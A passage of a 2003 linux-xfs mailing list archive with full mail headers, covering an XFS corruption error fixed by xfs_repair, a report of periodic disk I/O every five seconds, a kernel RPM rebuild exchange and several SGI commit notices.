the src.rpm again and it's OK on my system. Try rpmbuild --rebuild kernel-2.4.20-20_29.rh7.3.at.src.rpm --nodeps --target i= 686 (or whatever target you are building for) to check whether that works on your system. I can't think of a reason for this to fail. In any case try reproducing the problem with the pristine atrpms contents (i.e. before any custom modifications) and send me the full output (if too long in private mail). > Why rebuild? To remove atrpms dependency, adjust release numbers=20 > to upgrade, dual athlon and test... Dual athlon is in kernel-smp-2.4.20-20_29.rh7.3.at.athlon.rpm, what's wrong with the release numbering and the upgrade? Even if you like to spin your own kernel rpms, I'd appreciate your testing the above prebuilt rpm. --=20 Axel.Thimm@physik.fu-berlin.de --MW5yreqqjyrRcusr Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/afOCQBVS1GOamfERAu91AJ97hsaWYa3xvr8E7pPO/b0ExEYA/gCfSEBD ZcHkmgkF0ik0HWW1KPj2TmI= =qTtF -----END PGP SIGNATURE----- --MW5yreqqjyrRcusr-- From owner-linux-xfs@oss.sgi.com Thu Sep 18 14:57:57 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 18 Sep 2003 14:58:05 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8ILvuFx007602 for ; Thu, 18 Sep 2003 14:57:57 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8IMFXss018437 for ; Thu, 18 Sep 2003 17:15:33 -0500 Received: from maine.americas.sgi.com (maine.americas.sgi.com [128.162.232.87]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8ILvpcc11740697; Thu, 18 Sep 2003 16:57:51 -0500 (CDT) Received: from nstraz by maine.americas.sgi.com with local (Exim 3.36 #1 (Debian)) id 1A06mc-0001Ap-00; Thu, 18 Sep 2003 16:57:50 -0500 Date: Thu, 18 Sep 2003 16:57:50 -0500 From: Nathan Straz To: Guilherme Polo Cc: linux-kernel@vger.kernel.org, linux-xfs@oss.sgi.com Subject: Re: PROBLEM: XFS internal error - kernel 2.4.22 Message-ID: <20030918215750.GA31520@sgi.com> Mail-Followup-To: Guilherme Polo , linux-kernel@vger.kernel.org, linux-xfs@oss.sgi.com References: <200309181836.57847.gpolo@nl.linux.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200309181836.57847.gpolo@nl.linux.org> User-Agent: Mutt/1.5.3i X-archive-position: 442 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nstraz@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1581 Lines: 33 On Thu, Sep 18, 2003 at 06:36:57PM -0300, Guilherme Polo wrote: > Hello, today I was doing rm -rf on some old kernel trees on a partition that > uses xfs and I got this message: > ------------------------- > XFS internal error XFS_WANT_CORRUPTED_GOTO at line 1596 of file xfs_alloc.c. > Caller 0xc017c066 > c3645d7c c01a63b8 00000000 00013aec cc1b9cf0 c017b383 c02c26aa 00000001 > 00000000 c02c2684 0000063c c017c066 00000000 00013aec cc1b9cf0 00000000 > d6341400 00000000 caf8c0c0 d6341400 00000000 00000001 00013aeb 0001fb3a > Call Trace: [] [] [] [] > [] [] [] [] [] > [] [] [] [] [] > [] > xfs_force_shutdown(ide0(3,3),0x8) called from line 4051 of file xfs_bmap.c. > Return address = 0xc01d694a > Filesystem "ide0(3,3)": Corruption of in-memory data detected. Shutting down > filesystem: ide0(3,3) > Please umount the filesystem, and rectify the problem(s) > ------------------------- > > Im using linux 2.4.22 with xfs for i386 > Hmm... I dont know what more to include here (first time posting a problem > here) That looks like a really hard bug to hit. We'd better make sure this crosses the XFS list. Do you have a good idea what you were doing at the time? -- Nate Straz nstraz@sgi.com sgi, inc http://www.sgi.com/ Linux Test Project http://ltp.sf.net/ From owner-linux-xfs@oss.sgi.com Thu Sep 18 15:12:41 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 18 Sep 2003 15:12:58 -0700 (PDT) Received: from smtp2.brturbo.com (smtp2.brturbo.com [200.199.201.158]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8IMCbFx008442 for ; Thu, 18 Sep 2003 15:12:38 -0700 Received: from dds.minduse.com (2-081.mganm700-2.telepar.net.br [200.181.211.81]) by smtp2.brturbo.com (Postfix) with ESMTP id 8AA1F100CE0; Thu, 18 Sep 2003 19:12:23 -0300 (BRT) From: Guilherme Polo Reply-To: gpolo@nl.linux.org To: linux-xfs@oss.sgi.com Subject: Re: PROBLEM: XFS internal error - kernel 2.4.22 Date: Thu, 18 Sep 2003 19:12:22 -0300 User-Agent: KMail/1.5.3 Cc: linux-kernel@vger.kernel.org MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309181912.22703.gpolo@nl.linux.org> X-archive-position: 443 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: gpolo@nl.linux.org Precedence: bulk X-list: linux-xfs Content-Length: 1703 Lines: 34 On Thursday 18 September 2003 18:57, Nathan Straz wrote: > On Thu, Sep 18, 2003 at 06:36:57PM -0300, Guilherme Polo wrote: > > Hello, today I was doing rm -rf on some old kernel trees on a partition > > that uses xfs and I got this message: > > ------------------------- > > XFS internal error XFS_WANT_CORRUPTED_GOTO at line 1596 of file > > xfs_alloc.c. Caller 0xc017c066 > > c3645d7c c01a63b8 00000000 00013aec cc1b9cf0 c017b383 c02c26aa 00000001 > > 00000000 c02c2684 0000063c c017c066 00000000 00013aec cc1b9cf0 > > 00000000 d6341400 00000000 caf8c0c0 d6341400 00000000 00000001 00013aeb > > 0001fb3a Call Trace: [] [] [] > > [] [] [] [] [] > > [] [] [] [] [] > > [] [] > > xfs_force_shutdown(ide0(3,3),0x8) called from line 4051 of file > > xfs_bmap.c. Return address = 0xc01d694a > > Filesystem "ide0(3,3)": Corruption of in-memory data detected. Shutting > > down filesystem: ide0(3,3) > > Please umount the filesystem, and rectify the problem(s) > > ------------------------- > > > > Im using linux 2.4.22 with xfs for i386 > > Hmm... I dont know what more to include here (first time posting a > > problem here) > > That looks like a really hard bug to hit. We'd better make sure this > crosses the XFS list. Do you have a good idea what you were doing at > the time? I was just running BitchX and deleting those old kernel trees. After remounting the filesystem, I noticed the last kernel tree that was supposed to be deleted was still there, and every time I run rm -rf on that directory that problem above happens. From owner-linux-xfs@oss.sgi.com Thu Sep 18 15:48:39 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 18 Sep 2003 15:48:54 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8IMmcFx009859 for ; Thu, 18 Sep 2003 15:48:38 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8IKpLOO029562 for ; Thu, 18 Sep 2003 13:51:21 -0700 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8IMmWcc11702940; Thu, 18 Sep 2003 17:48:32 -0500 (CDT) Received: from naboo (naboo.americas.sgi.com [128.162.233.73]) by daisy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8IMmTRn288920406; Thu, 18 Sep 2003 17:48:31 -0500 (CDT) Subject: Re: PROBLEM: XFS internal error - kernel 2.4.22 From: Russell Cattelan To: gpolo@nl.linux.org Cc: linux-xfs@oss.sgi.com In-Reply-To: <200309181912.22703.gpolo@nl.linux.org> References: <200309181912.22703.gpolo@nl.linux.org> Content-Type: text/plain Message-Id: <1063925200.19249.78.camel@naboo> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4-4mdk Date: Thu, 18 Sep 2003 17:46:41 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 444 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@xfs.org Precedence: bulk X-list: linux-xfs Content-Length: 1863 Lines: 38 Did you run xfs_repair on your fs yet? On Thu, 2003-09-18 at 17:12, Guilherme Polo wrote: > On Thursday 18 September 2003 18:57, Nathan Straz wrote: > > On Thu, Sep 18, 2003 at 06:36:57PM -0300, Guilherme Polo wrote: > > > Hello, today I was doing rm -rf on some old kernel trees on a partition > > > that uses xfs and I got this message: > > > ------------------------- > > > XFS internal error XFS_WANT_CORRUPTED_GOTO at line 1596 of file > > > xfs_alloc.c. Caller 0xc017c066 > > > c3645d7c c01a63b8 00000000 00013aec cc1b9cf0 c017b383 c02c26aa 00000001 > > > 00000000 c02c2684 0000063c c017c066 00000000 00013aec cc1b9cf0 > > > 00000000 d6341400 00000000 caf8c0c0 d6341400 00000000 00000001 00013aeb > > > 0001fb3a Call Trace: [] [] [] > > > [] [] [] [] [] > > > [] [] [] [] [] > > > [] [] > > > xfs_force_shutdown(ide0(3,3),0x8) called from line 4051 of file > > > xfs_bmap.c. Return address = 0xc01d694a > > > Filesystem "ide0(3,3)": Corruption of in-memory data detected. Shutting > > > down filesystem: ide0(3,3) > > > Please umount the filesystem, and rectify the problem(s) > > > ------------------------- > > > > > > Im using linux 2.4.22 with xfs for i386 > > > Hmm... I dont know what more to include here (first time posting a > > > problem here) > > > > That looks like a really hard bug to hit. We'd better make sure this > > crosses the XFS list. Do you have a good idea what you were doing at > > the time? > > I was just running BitchX and deleting those old kernel trees. > After remounting the filesystem, I noticed the last kernel tree that was > supposed to be deleted was still there, and every time I run rm -rf on that > directory that problem above happens. > From owner-linux-xfs@oss.sgi.com Thu Sep 18 16:13:37 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 18 Sep 2003 16:13:53 -0700 (PDT) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8INDaFx010986 for ; Thu, 18 Sep 2003 16:13:37 -0700 Received: from mailhub.ch.sauter-bc.com (mailhub [10.1.6.26]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id DBD1932CA2; Fri, 19 Sep 2003 01:13:29 +0200 (CEST) Received: from imap01.ch.sauter-bc.com (imap01.ch.sauter-bc.com [10.1.6.25]) by mailhub.ch.sauter-bc.com (Postfix) with ESMTP id 7E52432CB5; Fri, 19 Sep 2003 01:13:28 +0200 (CEST) Received: from webmail.ch.sauter-bc.com (localhost.localdomain [127.0.0.1]) by imap01.ch.sauter-bc.com (Postfix) with SMTP id E662311E1E; Fri, 19 Sep 2003 01:13:27 +0200 (CEST) Received: from 213.173.165.140 (proxying for 157.161.34.15) (SquirrelMail authenticated user mattesim) by imap01.ch.sauter-bc.com with HTTP; Fri, 19 Sep 2003 01:13:28 +0200 (CEST) Message-ID: <51664.213.173.165.140.1063926808.squirrel@imap01.ch.sauter-bc.com> In-Reply-To: <20030918134329.B6939@wobbly.melbourne.sgi.com> References: <20030918020632.GA18362@wylde.fl.net.au> <20030918122113.A6939@wobbly.melbourne.sgi.com> <20030918025301.GA18791@wylde.fl.net.au> <20030918134329.B6939@wobbly.melbourne.sgi.com> Date: Fri, 19 Sep 2003 01:13:28 +0200 (CEST) Subject: Re: xfssyncd syncing every five seconds? From: "Simon Matter" To: "Nathan Scott" Cc: "Jeremy Field" , linux-xfs@oss.sgi.com User-Agent: SquirrelMail/1.4.1 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Priority: 3 Importance: Normal Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8INDbFx010989 X-archive-position: 445 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Content-Length: 2368 Lines: 67 > On Thu, Sep 18, 2003 at 12:53:01PM +1000, Jeremy Field wrote: >> Thanks for your exceedingly rapid reply... >> >> >> I am using linux 2.4.21 with xfs 1.3 on debian-unstable. Since I >> >> upgraded from 2.4.18-xfs-1.1, my xfs partitions have been showing >> >> pulses of activity every five seconds, I think because of xfssyncd. >> >> The hard drive physically seeks every five seconds too. >> >> >> >> I have reviewed this mailing list and elsewhere for clues, but can't >> >> work out either: >> >> a) whether this behaviour is normal, or >> >> b) how to change the interval. >> > >> > A sysctl variable controls this: /proc/sys/fs/xfs/sync_interval >> >> Ok I hadn't realised that's where it lived. Mine's set to "3000". Does >> this value rule out the diagnosis I've made? > > thats every 30 seconds, so its unlikely to be xfssyncd. > >> > >>From Documentation/filesystems/xfs.txt... >> > >> > fs.xfs.sync_interval (Min: HZ Default: 30*HZ Max: 60*HZ) >> > The interval at which the xfssyncd thread for xfs filesystems >> > flushes metadata out to disk. This thread will flush log >> > activity out, and do some processing on unlinked inodes >> > >> > What makes you suspect xfssyncd? It could also be some arbitrary >> > process deciding to write something out every few seconds of course. >> >> The reason I suspect xfssyncd is because it happens simultaneously on >> all of one drive's xfs partitions together (ie /{,usr,var,home}), and >> not on its non-xfs partitions. Additionally, this behaviour is new since >> I upgraded to xfs 1.3. I just wanted to say 'me too'. And I can confirm that it's new with 1.3, I have never seen this with any XFS version before. I have exactly the same kernels with XFS 1.2 and 1.3 and it only happens with 1.3. If you have a filesystem spread over lots of spindles, it sound a bit scary, every 5 seconds. Simon > > hmmm. > >> It doesn't actually seem to be happening on another drive which has a >> mounted xfs partition. Some other possibly relevant settings: >> >> $ cat /proc/sys/vm/bdflush >> 30 500 500 3000 60 20 0 >> ^ interval in 1/100s between kupdate >> flushes -- could this be my problem? > > possibly. worth fiddling with that knob and seeing what happens, > anyway. > > cheers. > > -- > Nathan > > > From owner-linux-xfs@oss.sgi.com Thu Sep 18 17:27:44 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 18 Sep 2003 17:28:00 -0700 (PDT) Received: from smtp2.brturbo.com (smtp2.brturbo.com [200.199.201.158]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8J0RgFx016083 for ; Thu, 18 Sep 2003 17:27:44 -0700 Received: from dds.minduse.com (2-081.mganm700-2.telepar.net.br [200.181.211.81]) by smtp2.brturbo.com (Postfix) with ESMTP id 2365510024B; Thu, 18 Sep 2003 21:27:34 -0300 (BRT) From: Guilherme Polo Reply-To: gpolo@nl.linux.org To: Russell Cattelan Subject: Re: PROBLEM: XFS internal error - kernel 2.4.22 Date: Thu, 18 Sep 2003 21:27:28 -0300 User-Agent: KMail/1.5.3 References: <200309181912.22703.gpolo@nl.linux.org> <1063925200.19249.78.camel@naboo> In-Reply-To: <1063925200.19249.78.camel@naboo> Cc: linux-xfs@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309182127.28678.gpolo@nl.linux.org> X-archive-position: 446 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: gpolo@nl.linux.org Precedence: bulk X-list: linux-xfs Content-Length: 188 Lines: 6 On Thursday 18 September 2003 19:46, Russell Cattelan wrote: > Did you run xfs_repair on your fs yet? xfs_repair worked perfectly, I just finished to clean some old things now. Thanks. From owner-linux-xfs@oss.sgi.com Thu Sep 18 19:09:28 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 18 Sep 2003 19:09:55 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8J297Fx020163 for ; Thu, 18 Sep 2003 19:09:27 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8J2Qhss008362 for ; Thu, 18 Sep 2003 21:26:44 -0500 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h8J28tBm002766 for ; Fri, 19 Sep 2003 12:08:55 +1000 Received: (from nathans@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h8J28ttg002765 for linux-xfs@oss.sgi.com; Fri, 19 Sep 2003 12:08:55 +1000 Date: Fri, 19 Sep 2003 12:08:55 +1000 From: Nathan Scott Message-Id: <200309190208.h8J28ttg002765@bruce.melbourne.sgi.com> Subject: TAKE - fix 2.6 inode flags X-archive-position: 447 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 495 Lines: 18 Fix a merge problem with nasty side-effects, looks like XFS_AT_GENCOUNT got dropped on the ground from the getattr call at some point. I'll probably rework this a bit better shortly, this gets us up and running again though. cheers. Date: Thu Sep 18 19:06:52 PDT 2003 Workarea: bruce.melbourne.sgi.com:/home/nathans/isms/devel26 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:158636a linux/fs/xfs/linux/xfs_vnode.c - 1.118 From owner-linux-xfs@oss.sgi.com Thu Sep 18 19:11:37 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 18 Sep 2003 19:11:43 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8J2BaFx020402 for ; Thu, 18 Sep 2003 19:11:36 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8J2BUq0022988 for ; Thu, 18 Sep 2003 19:11:31 -0700 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8J2BUcc11719504; Thu, 18 Sep 2003 21:11:30 -0500 (CDT) Received: from [192.168.1.100] (cf-vpn-sw-corp-64-44.corp.sgi.com [134.15.64.44]) by daisy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8J2BSRn290024425; Thu, 18 Sep 2003 21:11:29 -0500 (CDT) Subject: Re: xfssyncd syncing every five seconds? From: Steve Lord To: Simon Matter Cc: Nathan Scott , Jeremy Field , linux-xfs@oss.sgi.com In-Reply-To: <51664.213.173.165.140.1063926808.squirrel@imap01.ch.sauter-bc.com> References: <20030918020632.GA18362@wylde.fl.net.au> <20030918122113.A6939@wobbly.melbourne.sgi.com> <20030918025301.GA18791@wylde.fl.net.au> <20030918134329.B6939@wobbly.melbourne.sgi.com> <51664.213.173.165.140.1063926808.squirrel@imap01.ch.sauter-bc.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-11) Date: 18 Sep 2003 21:11:16 -0500 Message-Id: <1063937479.1811.19.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 448 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 871 Lines: 25 On Thu, 2003-09-18 at 18:13, Simon Matter wrote: > > I just wanted to say 'me too'. And I can confirm that it's new with 1.3, I > have never seen this with any XFS version before. I have exactly the same > kernels with XFS 1.2 and 1.3 and it only happens with 1.3. > If you have a filesystem spread over lots of spindles, it sound a bit > scary, every 5 seconds. > > Simon > I could gripe about folks reporting this after the release, rather than before it... I just logged into my workstation from home, and watched it for a minute or two, zero I/O during this time. On the other hand, my laptop does appear to be doing periodic I/O and it does seem to be every 5 seconds. I have also had a report of someone not being able to keep their disks spun down in 2.6 on a laptop. Scratching my head so far, 5 seconds does not really tie up with any xfs thread. Steve From owner-linux-xfs@oss.sgi.com Thu Sep 18 22:39:23 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 18 Sep 2003 22:39:27 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8J5dMFx030337 for ; Thu, 18 Sep 2003 22:39:23 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8J3g5OO028350 for ; Thu, 18 Sep 2003 20:42:06 -0700 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h8J5dBl0007029 for ; Fri, 19 Sep 2003 15:39:11 +1000 Received: (from nathans@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h8J5dBew007028 for linux-xfs@oss.sgi.com; Fri, 19 Sep 2003 15:39:11 +1000 Date: Fri, 19 Sep 2003 15:39:11 +1000 From: Nathan Scott Message-Id: <200309190539.h8J5dBew007028@bruce.melbourne.sgi.com> Subject: TAKE - xfsprogs and minor 2.6 cleanups X-archive-position: 449 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1573 Lines: 49 Fix some compile warnings and errors from some long-forgotten 2.4 mods. Date: Thu Sep 18 22:36:39 PDT 2003 Workarea: bruce.melbourne.sgi.com:/home/nathans/isms/devel26 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:158642a linux/fs/xfs/xfs_da_btree.c - 1.143 linux/fs/xfs/xfs_inode.c - 1.383 linux/fs/xfs/xfs_dir2_node.c - 1.35 xfsprogs update - fix db to display new inode flags, sync user/kernel code. Date: Thu Sep 18 22:37:49 PDT 2003 Workarea: bruce.melbourne.sgi.com:/home/nathans/isms/devel26 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: xfs-cmds:slinx:158643a cmd/xfsprogs/db/inode.c - 1.11 cmd/xfsprogs/db/check.c - 1.18 cmd/xfsprogs/VERSION - 1.89 cmd/xfsprogs/doc/CHANGES - 1.127 cmd/xfsprogs/libxlog/xfs_log_recover.c - 1.26 cmd/xfsprogs/include/xfs_log.h - 1.17 cmd/xfsprogs/include/xfs_inum.h - 1.8 cmd/xfsprogs/include/xfs_arch.h - 1.12 cmd/xfsprogs/include/libxfs.h - 1.30 cmd/xfsprogs/include/xfs_rtalloc.h - 1.10 cmd/xfsprogs/include/xfs_bmap_btree.h - 1.11 cmd/xfsprogs/include/builddefs.in - 1.37 cmd/xfsprogs/include/xfs_mount.h - 1.41 cmd/xfsprogs/include/xfs_inode.h - 1.35 cmd/xfsprogs/include/xfs_types.h - 1.21 cmd/xfsprogs/include/xfs_dinode.h - 1.11 cmd/xfsprogs/debian/changelog - 1.82 cmd/xfsprogs/libxfs/xfs.h - 1.38 cmd/xfsprogs/libxfs/init.c - 1.33 cmd/xfsprogs/libxfs/xfs_bmap_btree.c - 1.18 cmd/xfsprogs/libxfs/xfs_dir2_sf.c - 1.12 cmd/xfsprogs/libxfs/xfs_dir_leaf.c - 1.15 cmd/xfsprogs/libxfs/xfs_mount.c - 1.17 From owner-linux-xfs@oss.sgi.com Thu Sep 18 23:58:28 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 18 Sep 2003 23:58:32 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8J6wRFx000754 for ; Thu, 18 Sep 2003 23:58:28 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8J51BOO001717 for ; Thu, 18 Sep 2003 22:01:11 -0700 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h8J6wG0v015783 for ; Fri, 19 Sep 2003 16:58:16 +1000 Received: (from nathans@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h8J6wFxL015781 for linux-xfs@oss.sgi.com; Fri, 19 Sep 2003 16:58:15 +1000 Date: Fri, 19 Sep 2003 16:58:15 +1000 From: Nathan Scott Message-Id: <200309190658.h8J6wFxL015781@bruce.melbourne.sgi.com> Subject: TAKE 899755 - vfs utime fix (from Ethan) X-archive-position: 450 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 937 Lines: 40 Accidentally switched some debug code off, reenable it. Date: Thu Sep 18 21:51:31 PDT 2003 Workarea: bruce.melbourne.sgi.com:/build1/nathans/clean24 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:158639a linux/fs/xfs/xfs_ialloc.c - 1.173 Allow syncing the types header up more easily with userspace. Date: Thu Sep 18 22:05:03 PDT 2003 Workarea: bruce.melbourne.sgi.com:/build1/nathans/clean24 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:158640a linux/fs/xfs/xfs_types.h - 1.72 Final part of Ethans immutable/append-only changes, fix utime system call. Date: Thu Sep 18 23:54:40 PDT 2003 Workarea: bruce.melbourne.sgi.com:/build1/nathans/clean24 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:158645a linux/fs/open.c - 1.38 From owner-linux-xfs@oss.sgi.com Fri Sep 19 07:54:43 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 19 Sep 2003 07:54:56 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JEsgFx028633 for ; Fri, 19 Sep 2003 07:54:42 -0700 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8JEsaq0019794 for ; Fri, 19 Sep 2003 07:54:37 -0700 Received: from stout.americas.sgi.com (localhost [127.0.0.1]) by stout.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8JEsVTd028175 for ; Fri, 19 Sep 2003 09:54:31 -0500 Received: (from sandeen@localhost) by stout.americas.sgi.com (8.12.8/8.12.8/Submit) id h8JEsVZV028173 for linux-xfs@oss.sgi.com; Fri, 19 Sep 2003 09:54:31 -0500 Date: Fri, 19 Sep 2003 09:54:31 -0500 From: Eric Sandeen Message-Id: <200309191454.h8JEsVZV028173@stout.americas.sgi.com> Subject: PARTIAL TAKE 899288 - Re-work pagebuf stats macros X-archive-position: 451 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@stout.americas.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 393 Lines: 14 Re-work pagebuf stats macros to help support per-cpu data Date: Fri Sep 19 07:53:32 PDT 2003 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:158653a linux/fs/xfs/pagebuf/page_buf_internal.h - 1.28 linux/fs/xfs/pagebuf/page_buf.c - 1.131 From owner-linux-xfs@oss.sgi.com Fri Sep 19 11:13:08 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 19 Sep 2003 11:13:36 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JID8Fx014473 for ; Fri, 19 Sep 2003 11:13:08 -0700 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8JID2q0006244 for ; Fri, 19 Sep 2003 11:13:02 -0700 Received: from stout.americas.sgi.com (localhost [127.0.0.1]) by stout.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8JID2Td014139 for ; Fri, 19 Sep 2003 13:13:02 -0500 Received: (from sandeen@localhost) by stout.americas.sgi.com (8.12.8/8.12.8/Submit) id h8JID1Ks014137 for linux-xfs@oss.sgi.com; Fri, 19 Sep 2003 13:13:01 -0500 Date: Fri, 19 Sep 2003 13:13:01 -0500 From: Eric Sandeen Message-Id: <200309191813.h8JID1Ks014137@stout.americas.sgi.com> Subject: PARTIAL TAKE 901010 - X-archive-position: 452 X-ecartis-version: Ecartis v1.0.0 Sender: 